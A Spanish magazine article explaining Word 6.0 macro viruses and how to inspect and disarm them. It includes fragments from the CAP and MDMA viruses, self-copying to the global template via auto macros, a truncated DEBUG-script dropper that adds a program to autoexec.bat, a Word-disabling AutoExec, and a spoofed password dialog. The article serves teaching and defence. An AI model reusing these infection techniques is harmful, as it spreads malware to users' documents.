Para terminar el recorrido por los virus de ordenador,
se estudian este mes los virus de Word. Vistos todavía
como algo exótico entre los programadores españoles,
cada día se extienden más y es necesario saber cómo
funcionan para no quedarse atrás frente a los fabricantes
de antivirus extranjeros.
"¿Pueden los virus propagarse e infectar
ficheros de datos ?" La pregunta, hace un par de años
nada más, habría levantado miradas de misericordiosa
indulgencia en cualquier mínimo experto en virus informáticos,
que habría procedido a continuación a explicar con
paciencia que un virus necesita en algún momento ganar
el control del ordenador y que, por tanto, los ficheros de datos
resultan inapropiados para tal fin y sólo los COM, EXE,
SYS, OV?, etc. son objetivo y presa de infecciones.
Las cosas han cambiado mucho desde la llegada del
Word. En realidad ya en la versión 2.0 del popular editor
se tenían macros, pero no fue hasta la 6.0 cuando se popularizaron
debido, en gran parte, a que su funcionalidad y posibilidades
fueron engordadas ampliamente. (*)
MACROS
Prácticamente, todo programador ha hecho uso
alguna vez de las macros. Las funciones que pueden llevar a cabo
son de lo más variopintas: prácticamente todo lo
que se puede hacer con un ratón dentro del procesador de
textos tiene su equivalente en forma de comandos Word. Hay muchos
ejemplos de empleo de macros en documentos, pero quizás
uno muy usado y que puede que haya pasado desapercibido es el
del Word Internet Assistant. Se trata de un añadido al
Word que permite construir y visualizar páginas HTML, así
como navegar a través de páginas Web en Internet.
Pues bien, todas esas funcionalidades se le han añadido
al editor mediante numerosas macros, cuyo código fuente
es además -en contra de la costumbre habitual de Microsoft-
completamente visible. Basta abrir el fichero HTML.DOT y allí
seleccionar HerramientasMacros y de entre todas las que aparecen
seleccionar una: por ejemplo OpenlnHTMLCode o HTMLSetOutput. Después
pulsar el botón "Modificar" (ver Figura 1) y
aparecerá la macro. Es importante hacer notar que lo que
se muestra es el propio código fuente que se interpreta
en el momento de ejecución. Incluso los comentarios están
ahí. De hecho, el siguiente fragmento forma parte de un
virus (el CAP) y se trata tan sólo de comentarios que en
ningún momento se muestran al usuario pero que se pueden
ver con HerramientasMacros,Modificar (eso sí, tras desencriptarlo
puesto que este virus usa dicha técnica para resultar más
dificil de localizar. La encriptación/desencriptación
de los virus de macros de Word se tratará unas líneas
más abajo):
Sub MAIN 'C.A.P: Un virus social.. y ahora digital..
'"j4cKy Qw3rTy" (jqw3rty@hotmail.com).
'Venezuela, Maracay, Dic 1996.
'P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa !
End Sub
Figura 1 |
|
El lenguaje elegido para codificar estas macros es
el desde entonces denominado WordBasic. Microsoft sigue empeñado
en popularizar su Basic lo más posible, y aquí lo
añadió nuevamente -aunque, esta vez sí, sin
números de línea y con un aspecto mucho más
estructurado, más parecido a su Visual Basic- mezclado
con funciones (extensiones) que sólo tienen sentido en
el ámbito del Word. Las macros se encapsulan en procedimientos
o en funciones (para retornar algún valor; nada nuevo hasta
ahora). Su sintaxis es la siguiente:
Sub nombre_del_procedimiento(argumento1, argumento2, ..., argumento_n)
codigo_de_la_macro
End Sub
Function nombre_de_la_función (argumento1, argumento2, ..., argumento_n)
codigo_de_la_macro
nombre_de_la_función = valor_a_retornar
End Function
En caso de que sólo haya un procedimiento
o si hay varios, el principal (el main() de C) se denomina:
Sub Main ...
End Sub
Por cierto, que las mayúsculas no son importantes:
es lo mismo Sub Main que SUB MAIN o sub main. Este artículo
no pretende ser una guía de programación en WordBasic,
así que no se entrará en muchos detalles del lenguaje,
por otra parte fácilmente consultables gracias a la ayuda
(wrdbasic.hlp) que acompaña a la instalación. Sólo
comentar que, como cualquier lenguaje de alto nivel, tiene instrucciones
de control de flujo (if-then-else, select case-end select, goto
-cómo no-), bucles for-next, while-whend, operaciones sobre
ficheros (open, close, kill) y además cuenta con instrucciones
más propias de lenguajes visuales (MsgBox) y con otras
exclusivas del Word (HerramOpcionesGuardar, ContarMacros). Los
comentarios van precedidos por la palabra reservada REM o, abreviadamente,
por una coma simple " ´ ".
El hecho de que estos virus estén escritos
en un lenguaje de alto nivel como ya era el basic y que se abandone
el uso del ensamblador produjo una doble revolución: por
una parte, escribir virus es ahora tarea mucho más asequible;
no se necesitan los profundos conocimientos sobre funcionamiento
de la máquina y el sistema operativo necesarios para hacer
virus de arranque o de ficheros. Paradójicamente, a pesar
de que cada vez más gente se lanza a crear un virus de
este tipo, aún les sigue rodeando un gran aura de misterio,
sin duda debida a ese convencimiento antes apuntado, tan extendido
durante muchos años, de que los ficheros de datos no podían
provocar ni transmitir infecciones. La segunda revolución
está en que, al haberse liberado del ensamblador y del
sistema operativo subyacente, los virus se han convertido en los
primeros ejemplares portables entre plataformas. En principio,
un virus escrito para Word funcionará igual en un PC, en
un Mac o en una Alpha, con la única condición de
que exista una versión de Word compilada para esos entornos.
La portabilidad entre plataformas es algo importante, buscado
durante años. En realidad el procedimiento es algo similar
al empleado en el tan jaleado Java: se tiene una máquina
virtual (en este caso el propio Word) sobre la que se ejecutan
los programas sin tener que preocuparse del hardware o sistema
operativo subyacente, que son responsabilidad de la propia máqina.
Aunque esto de que un mismo virus funcione sin modificación
ni recompilación en máquinas tan distintas como
un PC o un Mac suena muy bien (incluso, en este caso, puede dar
algo de miedo: ¡los Mac ya no están a salvo de la
-floreciente- industria de virus para PC!) las cosas son un poco
más tristes, especialmente para los que se dedican profesionalmente
a desarrollar en WordBasic : esa portabilidad, que, efectivamente,
se da entre plataformas como bien demuestra la rutina principal
del virus MDMA
Sub MAIN
On Error Resume Next
install
If (Día(Ahora()) = 1) Then
Select Case get_platform
Case 1 infect_mac
Case 2 infect_windows
Case 3 infect_NT
Case 4 infect_95
End Select
show_credits
End If
End Sub
puede, bajo ciertas circunstancias, no darse dentro
de la misma plataforma. Una macro escrita para el Word de PC de
toda la vida puede no funcionar en el PC del vecino de al lado...
si el idioma de su Word es distinto. ¿Por qué? Bueno,
resulta que eso de traducir el Word a todos los idiomas no se
paró en los textos de los menús o los mensajes de
error... y se tradujo también el WordBasic.
Conclusión: una macro escrita en la versión
española de Word no funcionará -con casi toda probabilidad-
en otro que forme parte de la distribución inglesa.
NADA HA CAMBIADO
El lector que venga siguiendo esta serie estará
ya cansado de escuchar que cualquier virus que se precie de serlo
está obligado antes o después a conseguir de alguna
forma el control del ordenador, realizar operaciones que le aseguren
en lo posible la supervivencia (dentro de lo que se incluye la
reproducción) aunque, eso sí, de forma transparente
a fin de evitar ser descubierto y, por último, (aunque
esto no es estrictamente necesario) realizará alguna acción
en que se manifiesta voluntariamente y que, en general, acaba
siendo vista de forma harto distinta por el que hizo el virus
y por el que lo sufre.
Aquí, a pesar de las diferencias importantes
en filosofía, las cosas no son (no podían tampoco
serlo) muy diferentes.
TOMA DE CONTROL
La toma de control no es demasiado difícil:
existen macros asociadas a eventos. Por ejemplo, al seleccionar
HerramientasMacros, se ejecuta la macro "HerramMacro"
de forma que es fácil aprovechar este evento para hacer
algo que no estaba previsto.
Un ejemplo simple: seleccionar HerramientasMacros,
escribir "HerramMacro" en el nombre de la macro y pulsar
"Crear" (si esa macro existe ya en el sistema, será
mejor guardar una copia de seguridad antes de modificar nada).
El Word abre el editor de macros y la rellena ya con el código
por defecto. Si ahora se añade:
MsgBox "You are infected with MDMA_DMV. Brought to you by MDMA (Many Delinquent Modern Anarchists).", "MDMA_DMV", 16
y se pulsa HerramientasMacros, el resultado, en vez
del que sale siempre al seleccionar este menú, es una caja
de diálogo con el texto anterior que, excepto por el susto
que pueda llegar a causar, es totalmente inocuo. Al igual que
se ha hecho esta modificación se podían haber hecho
cosas más transparentes como una infección del archivo
de plantillas. (Nota: en algunas versiones, el Word se equivoca
en una de esas líneas que inserta con el código
de la macro por defecto y pone "Dim dlg AsHerramMacro"
comiéndose el espacio en blanco entre "As" y
"HerramMacro" por lo que si se quiere mantener esa instrucción,
deberá corregirse a mano)
Hay un grupo de 5 macros que son algo especiales.
En primer lugar son privilegiadas porque no sufren el problema
antes apuntado de las traducciones. Se tiene la certeza de que
existirán independientemente del lenguaje a que se haya
traducido el Word. Se trata de: AutoClose, AutoExec, AutoExit,
AutoNew y AutoOpen. Además el prefijo "auto"
indica -con buen criterio- que se ejecutan automáticamente:
"AutoClose" al cerrar un documento, "AutoExec"
al iniciar el Word, "AutoExit" al salir del Word, "AutoNew"
al crear un nuevo documento y "AutoOpen" al abrir un
documento ya existente. En la mayoría de los casos estas
macros son objetivo de los virus ya que, por una parte, se sabe
que estarán presentes independientemente del idioma, y
por otra se trata de acciones que implican todas ellas acceso
al disco, por lo que no resultará sospechoso que se encienda
la lucecita cuando se aprovechan para infectar otros documentos.
REPRODUCCIÓN
La reproducción consiste en, simplemente,
copiar las macros que forman el virus desde el documento infectado
al que se quiere infectar. No hacen falta conocimientos sobre
estructuras internas de ficheros o de ejecutables: el Word se
ocupa de todo. Basta decirle "Macrocopiar Plantilla_origen:Nombre_macro_origen,
Plantilla_destino:Nombre_macro_destino".
Es momento ahora de hablar de un archivo de plantillas
(macros) especial: el NORMAL.DOT. En las versiones de Word en
castellano se encuentra en OFFICE\Plantillas\Normal.DOT. (OFFICE
hace referencia al directorio donde se han instalado las Office;
.DOT es la extensión que se da a los ficheros de macros,
que se pueden renombrar a .DOC y entonces parecerán documentos
normales (**).) En éste archivo, sólo de plantillas,
se guardan las macros que estarán disponibles para todos
los documentos. Es posible guardar ahí las nuevas macros,
o bien crear una nueva plantilla para un uso determinado y dejar
ahí todas las macros relacionadas con ese uso. Como el
objetivo de los virus es reproducirse, éste es el primer
archivo al que tratan de copiarse. De esta forma, cualquier documento
que se use después quedará infectado. Por ejemplo:
cada vez que se abre un nuevo documento se ejecuta -si existe-
el AutoOpen del Normal.DOT. Al cerrarlo, el AutoClose, etc.
Es más: la macro AutoExec sólo se ejecuta
cuando se encuentra grabada en este fichero. En otras plantillas
es ignorada.
Es por todo esto por lo que el fichero Normal.DOT
cobra una relevancia especial y, al igual que era importante para
combatir los virus de arranque tener un disco de arranque limpio
y seguro, aquí lo es el tener una plantilla Normal.DOT
fiable, por lo que se aconseja guardar una copia de seguridad
tras la instalación del Word.
Dentro de "MacroCopiar" se hace referencia
a Normal.DOT con el nombre "Global", de forma que si
se quiere copiar una macro desde el documento actual -infectado-
a la plantilla de documentos global, el virus "escribirá":
MacroOrigen$ = NombreVentana$() + ":AutoOpen"
MacroCopiar MacroOrigen$, "Global:AutoOpen"
ACCIONES Y ENGAÑOS
Las acciones que puede llegar a realizar un virus
de Word en un sistema son de lo más polifacéticas
ya que tiene acceso a una variedad de recursos que -es una opinión-
no está justificada: puede borrar cualquier fichero del
disco duro (con la orden kill), puede suplantar comandos originales
de Word por otros falsos, puede cambiar la configuración
del registro de Windows, pueden ejecutar programas a voluntad...
Una modalidad de infección que está
muy de moda y que convierte a los virus de macros en "multipartites"
(ver [Virus-1]) es la de incluir dentro de la plantilla otro virus,
ya sea de ejecutable o de arranque. ¿Cómo? Muy facil:
al poderse ejecutar programas, lo que lleva el documento es un
script... de DEBUG, sí.
Normalmente lo hacen gracias a la orden "E"
que, como se recordará ([Virus-1]), permitía cambiar
bytes de posiciones de memoria:
Open "c:\dos\script.dbg" For Output As #1
Print #1, "N virus.exe"
Print #1, "E 0100 4D 5A EC 00 0C 00 00 00 20 00 00 00 FF FF 00 00"
Print #1, "E 0110 00 00 32 2D 00 00 01 00 1E 00 00 00 01 00 00 00"
Print #1, "E 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
etc, etc, etc,
Print #1, "E 14F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1500 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "RCX"
Print #1, "1500"
Print #1, "W"
Print #1, "Q"
Print #1, ""
Close #1
Open "c:\dos\infecta.bat" For Output As #1
Print #1, "@echo off"
Print #1, "debug < script.dbg > nul"
Print #1, "echo @c:\dos\virus.exe>>c:\autoexec.bat"
Print #1, "del c:\dos\script.dbg"
Print #1, "del c:\dos\infecta.bat"
Close #1
ChDir "C:\DOS"
Shell "INFECTA.BAT", 0
ChDir "C:\"
Se ha hablado también de engaños. Efectivamente,
el virus puede crear macros que modifiquen completamente el comportamiento
que se espera de los eventos que las llaman. Por ejemplo, no se
recomienda en absoluto probar el siguiente ejemplo de macro AutoExec
malintencionada:
Sub MAIN
MsgBox "Esta versión de Word ha caducado. Debe volver a comprar
una licencia de Office 99 para poder seguir trabajando.",
" Licencia caducada ", 16
ArchivoCerrarSesión 2
End Sub
El efecto será el presentar una caja de diálogo
con el texto visto, que al cerrarse cerrará a su vez inmediatamente
también el Word. Es decir: será imposible ejecutar
el Word. Y lo peor es que los usuarios que no se crean el mensaje
tendrán bastantes problemas para -simplemente- tratar de
investigar lo que está pasando, ya que sólo para
mirar las macros que contiene un documento es necesario ejecutar
el Word... y el Word no se ejecuta.
Si a pesar de todo ha decidido probarlo en su ordenador,
aún no está todo perdido (sobre todo porque debería
haber hecho un backup del NORMAL.DOT !).
En cualquier caso, basta con pulsar la tecla SHIFT
mientras se lanza el Word para que la macro no se ejecute.
Con un repertorio de posibilidades tan grande es
donde se nota la importancia de ser capaz de obtener el código
del virus (ya sea desensamblándolo como en entregas anteriores
o desencriptándolo como se verá aquí) y de
entenderlo, puesto que sin esto hay cosas de muy difícil
solución. En muchos casos, si no se es capaz de echar una
mirada al código del virus, la única solución
puede muy bien ser la reinstalación de todo el sistema.
Y como además no se sabe muy bien cómo funciona
el virus, lo más probable es que se caiga en una nueva
infección que conduzca a una inevitable nueva reinstalación.
Un círculo vicioso que puede acabar con los nervios de
cualquiera. Si el virus ha borrado todo el disco duro pues, bien,
es desagradable, pero el problema -y quizás su solución-
es evidente. La cosa es distinta cuando pasan cosas "raras"
pero más difíciles de diagnosticar. Volvamos a un
ejemplo concreto. El MDMA, al detectar que está infectando
a un Win95, tras borrar todos los ficheros .hlp del directorio
windows, hace lo siguiente:
SetPrivateProfileString("HKEY_CURRENT_USER\ControlPanel\Accessibility\Stickykeys", "On", "1", "")
SetPrivateProfileString("HKEY_LOCAL_MACHINE\Network\Logon", "ProcessLoginScript", "00", "")
SetPrivateProfileString("HKEY_CURRENT_USER\ControlPanel\Accessibility\HighContrst", "On", "1", "")
Es decir: activa unas opciones de accesibilidad que
al que no las necesita pueden convertirle el uso del ordenador
en una verdadera pesadilla.
No teniendo el código del virus, arreglarlo
puede requerir unos enormes conocimientos sobre el registro de
Windows, o bien una paciencia no menos enorme. En cambio, a la
vista del código fuente, basta ir directamente a las claves
HKEY_CURRENT_USER\ControlPanel\Accessibility y HKEY_LOCAL_MACHINE\Network\Logon
y cambiarlas.
CÓMO PROTEGERSE
El principal problema a la hora de comprobar si hay
o no un virus dentro de un documento y, en su caso, de estudiarlo
y eliminarlo es que para todo ello, desde el sólo hecho
de mirar si hay alguna macro dentro del documento, hace falta
estar dentro del Word. Y a partir de ese momento cualquier cosa
que aparezca -o no aparezca- en pantalla es potencialmente falsa
y no fiable, pues el virus puede haber actuado ya y estar modificando
cuanto se ve.
Como prueba de esto veamos un ejemplo: para proteger
documentos de forma que no se pueda modificar, añadir anotaciones,
etc, se puede usar HerramientasProteger documento. Entonces aparece
una caja de diálogo que pide la contraseña a usar.
Como de costumbre, también hay una macro asociada a esta
acción: "HerramProtegerDocumento". Pues bien,
no es demasiado difícil sustituir esa caja de diálogo
por la nuestra propia que, por ejemplo, asigne una contraseña
siempre igual y conocida por el que haya colocado el "caballo
de troya":
Begin Dialog
DiálogoUsuario 322, 130, "Proteger documento"
OKButton 228, 14, 88, 21
CancelButton 228, 38, 88, 21
PushButton 228, 62, 88, 21, "Secciones"
GroupBox 12, 6, 204, 80, "Proteger excepto para"
OptionGroup .valor
OptionButton 22, 23, 157, 16, "&Revisiones"
OptionButton 22, 41, 173, 16, "&Anotaciones"
OptionButton 22, 59, 173, 16, "Formularios"
Text 12, 92, 234, 13, "&Contraseña:"
TextBox 12, 106, 220, 18, .passwd
End Dialog
Dim dlg As DiálogoUsuario
Dialog(dlg)
El lector observador se dará cuenta de que
los dos cuadros de diálogo no son exactamente iguales en
cuanto los compare (Figuras 2 y 3). Tampoco era el objetivo. Sólo
se pretende demostrar que se puede hacer. Basta incluso con que
se parezcan lo suficiente, pues es difícil darse cuenta
de pequeñas diferencias si no se compara con un original,
sobre todo si no se está sobre aviso. La moraleja es que
buscar virus de Word desde dentro de Word no es fiable, lo mismo
que no lo era el buscar virus de ejecutables o de arranque si
el virus ya estaba en memoria. Allí era necesario arrancar
con un disquete fiable. Aquí habrá que asegurarse
de que el documento es fiable antes de cargarlo.
|
Figura 2 |
|
Figura 3 |
A todo esto se une una segunda dificultad: aún
en el caso de que se consiguiera cargar el documento sin que nos
engañe ni lleve a cabo acciones poco deseables, aún
es necesario acceder al código del virus para ver lo que
hace y neutralizarlo. En algunos esto es muy fácil: al
fin y al cabo el virus es una plantilla y, si no nos lo impide
creando cajas de diálogo falsas, se puede ver como cualquier
otra plantilla con HerramientasMacros, Modificar.
El problema está en que el virus le puede
pedir al Word que le copie, pero que lo haga como plantilla "sólo
ejecutable". Si es así, no aparecerá el botón
de "Modificar" y no se podrá ver tan fácilmente.
Para ello, a la hora de copiar la macro con "MacroCopiar"
, le añade un tercer parámetro: una coma y un 1.
Esto provoca que se grabe en lo que llaman formato "sólo
ejecutable".
En realidad es lo mismo que hacían otros virus
que se encriptaban para hacer más difícil la detección,
pero aquí, de nuevo, el programador se libra de la pesada
tarea de la encriptación y se la deja por entero al Word.
De nuevo se confirma que se necesitan bastantes menos conocimientos
para programar virus de Word.
Ambos problemas serán resueltos de la misma
forma: desde fuera del Word, con ayuda de algún editor
hexadecimal.
A pesar de que es posible, como se vio con anterioridad,
evitar que se ejecuten algunas macros dejando pulsada la tecla
SHIFT, e incluso se puede invocar al Word con el parámetro
/a para que no ejecute las macros automáticas ni cargue
las plantillas globales, es mejor no arriesgarse y tomar medidas
(***). Al fin y al cabo, hasta a los más conscientes del
funcionamiento de los virus de arranque se les ha olvidado alguna
vez dentro de la disquetera un disquete infectado y al arrancar
ha pasado lo peor...
La solución definitiva allí era modificar
el "setup" para que arrancara primero de disco duro
y no de disquete ([Virus-2.I], [Virus-2.II]). Aquí la solución
propuesta es editar el documento con un editor hexadecimal, localizar
las macros y, si las hubiera, cambiarles el nombre.
Lo primero que hay que saber es cómo localizar
las macros: hacia el final del fichero se encuentra siempre, perfectamente
legible, el nombre de la persona que tiene licenciado el Word
con el que se hizo el documento, un byte y el path completo del
fichero que se está viendo.
Justo después hay 2 bytes: FFh, 01h, y un
tercero que indica el número de macros que hay en el documento.
Si este byte es 0, significa que no hay macros y, por tanto, es
seguro abrirlo. Si es mayor que 0, a continuación hay otro
byte que vale 0 (probablemente es el byte alto del número
de macros del documento, pero es difícil encontrar documentos
con más de 255 macros para comprobarlo), y sigue otro byte
de valor 55h. Es muy fácil de localizar a simple vista
porque representa el código ASCII de la letra "U",
así que basta con buscar alguna u mayúscula tras
el nombre del fichero para ver si hay o no macros en el documento.
(Se puede comprobar todo esto en la Figura 4). Cada nueva macro
tendrá una nueva "U" que indicará que
los datos que siguen son de ella, así que habrá
tantos campos de 24 bytes empezando por "U" como macros
tenga el documento. El byte que sigue a la "U" es el
que se ha usado para codificar la macro (en este caso es un 8Eh).
Si es un 0, significa que la macro no está codificada y
se puede inspeccionar por el procedimiento habitual de "HerramientasMacros,
Modificar". Si, como es cada vez más normal, está
codificada, la macro se ha encriptado haciendo XOR con ese byte.
Basta localizar el comienzo de la macro y desencriptarla
haciendo nuevamente xor con el valor de dicho byte y poniendo
un 0 en el que sigue a la "U". Tras el grupo de Us,
vienen la descripción de cada macro, el nombre de la macro
tal y como aparece en HerramientasMacros (sea en mayúsculas,
minúsculas o en combinación de ámbas; aquí
es "AutoClose") y finalmente, de nuevo, el nombre de
la macro pero esta vez sólo en mayúsculas (entre
los tres campos hay algunos bytes que no interesan para estos
propósitos).
|
Figura 4 |
Pues bien, la forma más segura de no correr
peligro de que la macro se ejecute al inspeccionar el documento
es, lógicamente, cambiarle el nombre.
No basta con cambiar mayúsculas y minúsculas
la primera vez que aparece el nombre, porque el Word no es "case
sensitive" en este caso e igualmente ejecutará una
"AutoClose" que una "aUtOcLoSE". Pero se puede
cambiar alguna letra: "AltoClose". No hay que olvidarse
de cambiar también el nombre que está en mayúsculas:
"ALTOCLOSE". Ahora, al cerrar un documento, o al abrir
alguna ventana, no saltarán las macros del virus.
Queda el espininoso problema de la desencriptación.
Lo más complicado es localizar el comienzo real de la macro.
Toda macro no encriptada empieza por los bytes 01, 00. Una vez
encriptada, claro, esto ya no es así, así que lo
que hay que buscar son otros dos bytes: el byte con el que se
aplicó el xor a la macro (el que está a continuación
de la "U"), precedido de aquél otro byte que
da 01 al hacer xor con el primero. Para que quede más claro:
si se ha encriptado con un valor X y X es par, la secuencia que
se busca es X+1,X. En cambio, si X es impar, la macro empieza
por X-1,X. A partir de ahí hay que hacerle a todos los
bytes un xor con X hasta llegar al siguiente grupo de 2 bytes
que identifica a la siguiente macro, o bien, si sólo hay
una macro o si se está ya en la última macro, hasta
llegar a un 00. (En algunos documentos los bytes noveno y décimo
a partir de la "U" (incluida ésta en la cuenta)
indican -en el formato de memoria usado por Intel: Little Endian-
el tamaño de la macro. Pero en otras versiones estos bytes
tienen significados distintos).
Ahora la macro está desencriptada, pero sigue
apareciendo marcada como encriptada porque aún el byte
que sigue a la "U" es X. Basta sustituirlo por un 0,
el botón "Modificar" aparecerá de nuevo
y ya se podrá estudiar el virus desde Word.
VBA
No se puede terminar este artículo sin hablar,
siquiera concisamente, de VBA. El significado de las siglas es
Visual Basic for Applications. Se trata de un intento de unificación
de Microsoft para que todas sus aplicaciones utilicen un lenguaje
común y homogéneo basado en Visual Basic. Así
PowerPoint y Excel no usan WordBasic sino VBA.
REFERENCIAS
[Virus-1] Introducción a los virus informáticos.
Programación Actual. Número 6.
[Virus-2.I] "Virus de arranque (I)". Programación
Actual. Número 8.
[Virus-2.II] "Virus de arranque (II)".
Programación Actual. Número 9.
NOTAS
(*) Para los curiosos de estas cosas que no lo sepan
aún, no hubo versiones 3, 4 y 5 de Word, cada una de ellas
con mejoras en las macros, hasta llegar a la 6.0. Se pasó
directamente de la 2.0 a la 6.0 por razones exclusivamente de
"marketing": WordPerfect acababa de sacar la versión
6 de su -por entonces- mucho más popular editor y se pensaba
que un Word 3.0 daría una sensación de inferioridad
frente a un WordPerfect 6.0. Cosas de las batallas entre empresas...
(**) Aquí los usuarios de Word para Macintosh
tienen una ventaja sobre los usuarios de Windows, porque a pesar
de que la plantilla se haya renombrado a .DOC su icono sigue mostrando
a las claras que no se trata de un documento sino de una macro.
En Windows, en cambio, esto no es así.
(***) En las últimas versiones de Word se
ha añadido una opción de seguridad que permite al
usuario solicitar que antes de que el Word ejecute cualquier macro
le pida consentimiento.